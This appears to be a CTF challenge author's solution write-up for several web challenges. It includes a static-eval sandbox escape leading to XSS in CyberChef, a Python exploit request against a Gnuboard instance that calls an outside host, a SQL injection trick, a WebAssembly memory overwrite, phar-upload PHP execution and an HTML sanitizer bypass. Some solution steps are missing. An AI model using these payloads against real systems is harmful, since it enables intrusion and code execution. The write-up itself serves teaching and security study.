Cyberchef was the most solved challenge this overall CTF even though I thought this will be the hardest one in this CTF. The reason was an unintended solution what I didn’t caughted from this github issue. So I published another challenged Cyber Headchef with prohibiting use of string “table” in the payload.
But my mitigation was not enough to prevent the unintended solution. It worked again with a null byte insertion in the middle of the table string. Since you can check the unintended XSS payload in the link above, That will not be discussed in here.
1 2
https://gchq.github.io/CyberChef/#recipe=JPath_expression('0','\n')&input=WzEzMzdd result : 1337
Among the many of cyberchef functionalities you can see there’s JPath_expression which does jsonpath query with given json string.
The jsonpath module tries to evaluate the given script includes subscript expression with static-eval.
1 2 3 4 5 6 7 8 9 10 11 12 13
elseif (node.type === 'MemberExpression') { var obj = walk(node.object); // do not allow access to methods on Function if((obj === FAIL) || (typeof obj == 'function')){ returnFAIL; } if (node.property.type === 'Identifier') { return obj[node.property.name]; } var prop = walk(node.property); if (prop === FAIL) returnFAIL; return obj[prop]; }
The static-eval tries to evaluate ast statement parsed by asprima. They have restricted implementation for the expressions. But there are MemberExpression, CallExpression, FunctionExpression and It’s pretty enough to mess up everything.
More than everything else, their implementaion for the MemberExpression has a obvious flaw. The fourth line in the above snippet seems like to prevent from referencing constructor of javascript function. But this can be easily bypassed with the statement below.
The object has a function in their __proto__ attribute returns constructor of function when their constructor referenced even though its operated value with typeof operator returns object.
1 2 3 4 5 6 7
var evaluate = require('static-eval'); var parse = require('esprima').parse; var src = `({__proto__:[].constructor}).constructor('console.log(1337)')()`; var ast = parse(src).body[0].expression; evaluate(ast); // This prints "1337"
So this can be used to bypass restriction of static-eval. And It leads to XSS vulnerability in Cyberchef application.
In the given source, Database class extends sqlite db has private method which does the role of query builder. It builds the query with params from the array after stripping the double quotes and backslash from the array elements. SInce JSON.stringify wraps the result string with double quotes, the replacing prevents sql injection from the param.
But you still make injection in here by inserting special replacement pattern $' to the title of note. The steps are as follows.
This query inserts the content of flag into the new note of the user named user. So, you can check the flag from the note list.
Wasmup
Difficulty: ★★
Solved: 4 / 541
Tag: WebAssembly
Solution
This challenge was inspired by this reference presented in Defcon 2018 by NCCGroup. In contrast to wasm is the popular topic from modern browsers. It seems there are not many web challenges dealing wasm excepting the reversing aspects. So I thought one challenge dealing wasm can be informative for all.
Its implementation is almost same with other basic heap challenges except that one part that exits the program. When the user sends number 4 as input, it runs emscripten_run_script function with the string process.exit(0); which is actually javascript code to exit process.
The function emscripten_run_script just evaluate the string given as a parameter. So you can execute any script If you overwrite the string process.exit(0); which is in somewhere of wasm memory. In normal binaries complied with generic compiler like clang, gcc, It’s impossible to change these data because its section declared to read-only area. but In the case of wasm, the section is also writable since they does not distinguish bss/ro/rw sections.
createNote function has a flaw that changes the size of the specific note even though the invalid size has given. By that flaw, you can overwrite note[0] to the address of process.exit(0);
It prints flag by calling emscripten_run_script after manipulating data.
Gnuboard
Difficulty: ★★★
Solved: 4 / 541
Tag: PHP
Solution
Gnuboard is one of most popular cms in SK used for non-commerial projects. Few years ago, I used to report vuln of gnuboard but It seems how they adds new feature meh. Inspired by many of their bugs, I decided to make a challenge from it.
You can see it saves the flag at common.php as a variable in the given dockerfile. So It requires you to find vulnerability can print specific variable or execute command or prints the content of common.php. the intended solution was the first.
shop/inicis/inistdpay_result.php make http requests to given url and parse them. When the request for the authUrl has failed, It tries to cancel the request gracefully by requesting the netCancelUrl specified. You can control both of authUrl and netCancelUrl, so It comes to print user specific variable at the last statement.
1 2 3 4 5
import requests
res = requests.get('http://1.230.253.91:5000/shop/inicis/inistdpay_result.php?authUrl=https://x/&resultCode=0000&authToken=x&netCancelUrl=https://p6.is/1.php&x=flag')
print(res.text)
Intended exploit is above, 1.php in netCancelUrl just prints x without any whitespace. $x is defined as a string flag by extract($_GET) in common.php, so It prints the $flag as a result. You can see the flag in the response.
RUN wget http://start.xpressengine.io/download/latest.zip RUN unzip latest.zip && chmod -R 707 storage/ bootstrap/ config/ vendor/ plugins/ index.php composer.phar
RUNrm -rf /var/www/html/latest.zip /var/www/html/index.html RUNecho"ServerName localhost" >> /etc/apache2/apache2.conf RUN sed -i 's/AllowOverride None/AllowOverride All/g' /etc/apache2/apache2.conf RUN a2enmod rewrite RUN service apache2 restart
ADD entrypoint.sh / CMD /entrypoint.sh
Like the gnuboard, the dockerfile just installs apache2 and xpressengine on generic ubuntu:18.04 image.
<FilesMatch ".+\.ph(ar|p|tml)$"> SetHandler application/x-httpd-php </FilesMatch> <FilesMatch ".+\.phps$"> SetHandler application/x-httpd-php-source # Deny access to raw php sources by default # To re-enable it's recommended to enable access to the files # only in specific virtual host or directory Require all denied </FilesMatch> # Deny access to files without filename (e.g. '.php') <FilesMatch "^\.ph(ar|p|ps|tml)$"> Require all denied </FilesMatch>
# Running PHP scripts in user directories is disabled by default # # To re-enable PHP in user directories comment the following lines # (from <IfModule...> to </IfModule>.) Do NOT set it to On as it # prevents .htaccess files from disabling it. <IfModulemod_userdir.c> <Directory /home/*/public_html> php_admin_flag engine Off </Directory> </IfModule>
Though in the /etc/apache2/mods-available/php7.2.conf which enabled with php installing, It enables the files have phar extension to interpret as a php script file.
At the same time, /media_library/file route returns the path where the original file uploaded. And the request to the path not prohibited. So, after uploading file with phar extension embeds custom php script can make us execute any php command into it.
Marked was a XSS challenge besides cyberchef below. It converts the markdown string content to html with well-known markdown library called marked. and the output goes to be santized with sanitize-html. at the last, It parsed by node-html-parser again.
1 2
# node-html-parser **Fast HTML Parser** is a very fast HTML parser. Which will generate a simplified DOM tree, with element query support.
The first hint There's too many things to think about to implement a FAST parser. describes about readme of node-html-parser above.
let html = "</a<a><a><a<a\x0ba "; console.log(parse(sanitize(html)).outerHTML); // <a></a</a><a a></a>
node-html-parser intends to misinterpret \x0b and unclosed closing html tag. Such misinterpretion can be used to bypass non-script sanitizer like sanitize-html.